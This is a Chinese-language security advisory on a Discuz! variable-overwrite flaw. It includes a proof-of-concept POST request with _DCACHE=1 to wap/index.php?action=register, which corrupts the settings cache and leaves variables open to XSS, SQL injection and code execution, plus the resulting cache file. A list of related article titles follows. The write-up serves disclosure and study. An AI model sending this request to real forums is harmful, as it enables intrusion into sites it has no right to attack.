Discuz! $_DCACHE数组变量覆盖漏洞

author: ryat_at_[url]www.wolvez.org[/url]
team:[url]http://www.80vul.com[/url]

由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$_DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.

一 分析

/wap/index.php

//43行
$chs = '';
if($_POST && $charset != 'utf-8') {
    $chs = new Chinese('UTF-8', $charset);
    foreach($_POST as $key => $value) {
        $$key = addslashes(stripslashes($chs->Convert($$key)));
    }
    unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
    require_once './include/'.$action.'.inc.php';

这个地方是对非utf-8编码下的数据进行编码转换,但Convert方法有一个问题,如果存在iconv()将会用此函数进行编码转换,这时如果传递进来的参数是一个数组,将会返回FALSE,那么POST提交一个_DCACHE=1,经过Convert()处理$_DCACHE就会被覆盖为NULL[再经过stripslashes()或者addslashes()处理会被覆盖为一个空的字符串]:)

/wap/include/register.inc.php

//124行
    require_once DISCUZ_ROOT.'./include/cache.func.php';
    $_DCACHE['settings']['totalmembers']++;
    $_DCACHE['settings']['lastmember'] = $discuz_userss;
    updatesettings();
   
这个地方是注册用户后更新缓存数据,再来看看updatesettings()是怎么处理的:

include/cache.func.php

//252行
function updatesettings() {
    global $_DCACHE;
    if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
        writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
    }
}

可以看到这个地方写入的是$GLOBALS[_DCACHE],我们可以在注册时用上面提到的方法把$_DCACHE覆盖为一个空字符串,然后经过上面代码的重新赋值及更新缓存,最后写入forumdata/cache/cache_settings.php的将仅仅只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember']:)

include/common.inc.php

//95行:
$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);
...
$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
        (!empty($_POST['styleid']) ? $_POST['styleid'] :
        (!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
        $_DCACHE['settings']['styleid'])));

$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);

if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
    $cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}

这里用extract处理了$_DCACHE['settings'],但由于此时包含的forumdata/cache/cache_settings.php文件中仅仅存在$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember'],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用,但现在我们可以随意提交这些变量,这将导致xss,sql注射,命令执行等众多严重的安全问题:)

另外要注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是我们wap注册时写入的数据:)

PS:WAP用户注册默认并不开启

二 利用

Poc:

POST [url]http://127.0.0.1/dz/wap/index.php?action=register[/url] HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: [url]http://127.0.0.1/dz/wap/index.php[/url]
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
Host: 127.0.0.1
Connection: close
Content-Length: 66

username=ryat&password=123456&email=ryat@ryat.com&_DCACHE=1

D:\>type Discuz_7_Beta_SC_GBK\upload\forumdata\cache\cache_settings.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Nov 6, 2008, 22:27
//Identify: 1b0cb6a8551131fb818dc6fe54e9cad0

$_DCACHE['settings'] = array (
  'totalmembers' => 1,
  'lastmember' => 'ryat',
);

?>

Discuz! $_DCACHE数组变量覆盖漏洞相关推荐

  1. csrf漏洞防御方案_变量覆盖漏洞利用及防御方案

    一.漏洞简介 变量覆盖漏洞是指攻击者使用自定义的变量去覆盖源代码中的变量,从而改变代码逻辑,实现攻击目的的一种漏洞.通常来说,单独的变量覆盖漏洞很难有利用价值,但是在与其他应用代码或漏洞结合后,其造成 ...

  2. php之变量覆盖漏洞讲解

    1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...

  3. PHP代码审计笔记--变量覆盖漏洞

    变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...

  4. php之变量覆盖漏洞讲解,PHP中的变量覆盖漏洞代码深入解析

    2.CTF中extract()导致的变量覆盖 我们大致分析是要求我们GET传参进去值会经过extract()函数下来会有两个if 第一个if判断 ceshi这个变量是否存在 存在则继续执行if里面的 ...

  5. 记一次无意间发现某学校图书检索系统的变量覆盖漏洞

    这是汇文OPAC很早就存在的一个严重漏洞 补充漏洞信息参考来源https://www.seebug.org/vuldb/ssvid-90722 1. 利用存在该漏洞参数的链接,访问存在漏洞文件,并覆盖 ...

  6. 齐博CMS变量覆盖漏洞exp

     漏洞的具体分析在 http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.AooULy&id=13,下面公布一下我写的漏洞利用以及ex ...

  7. [BJDCTF2020]Mark loves cat(.git源码泄露与代码审计之变量覆盖漏洞)

    知识点: php中$$用来定义可变变量 解题: python GitHack.py http://e6e2adea-991f-4ae7-b4ea-0f82d49d8f8c.node3.buuoj.cn ...

  8. jmeter file upload 变量_通达OA上传漏洞之变量覆盖分析

    作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...

  9. html 怎么让tr的css覆盖td的_通达OA上传漏洞之变量覆盖分析

    作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...

最新文章

  1. 学习《Linux设备模型浅析之设备篇》笔记(三)
  2. 响应用户呼声 币安更正BCH简称
  3. 使用宝塔部署node项目_使用宝塔面板进行项目的自动部署WebHook
  4. 设计模式---4(抽象工厂模式的概念,产品组和产品等级的概念,抽象工厂模式的实现)
  5. 安卓开发之如何利用Intent对象,实现Activity和另一个Activity之间的跳转
  6. Android 功耗( 21 )---MTK 低功耗1
  7. 什么是Bootstrap?
  8. element 使用阿里图标变形了_2TB不限速的阿里网盘App来了 终于不再忍受众生平等盘...
  9. Exp3免杀原理与实践 20154326杨茜
  10. php mysql delete_PHP MySQL Delete
  11. Mac SDK环境变量配置
  12. 抓包获取百度音乐API
  13. JavaScript开发手册
  14. python timepicker_基于react开发的时间选择组件(TimePicker)
  15. 网页设计基础知识汇总——超链接
  16. web前端开发之CSS
  17. 红米note3双网通丨标注:2015617_官方线刷包_救砖包_解账户锁
  18. 屏幕适配以及ui切图规范和命名标准
  19. 搞深度学习需掌握的基础数学知识
  20. multisim 11

热门文章

  1. 适用于单片机的数据加密算法:xxtea
  2. CentOS7手动修改系统时间
  3. 数据库状态标识位flag设计
  4. 十二、dbms_logmnr(分析重做日志和归档日志)
  5. 同时支持来自多个源头的域名的跨域调用
  6. EL表达式的作用与限制条件
  7. [原创]快速排序(C++版)
  8. 一个可行的绑定下拉列表的方法(bind dropdownlist)
  9. Silverlight 多窗口的实现.
  10. Kotlin的高阶函数和常用高阶函数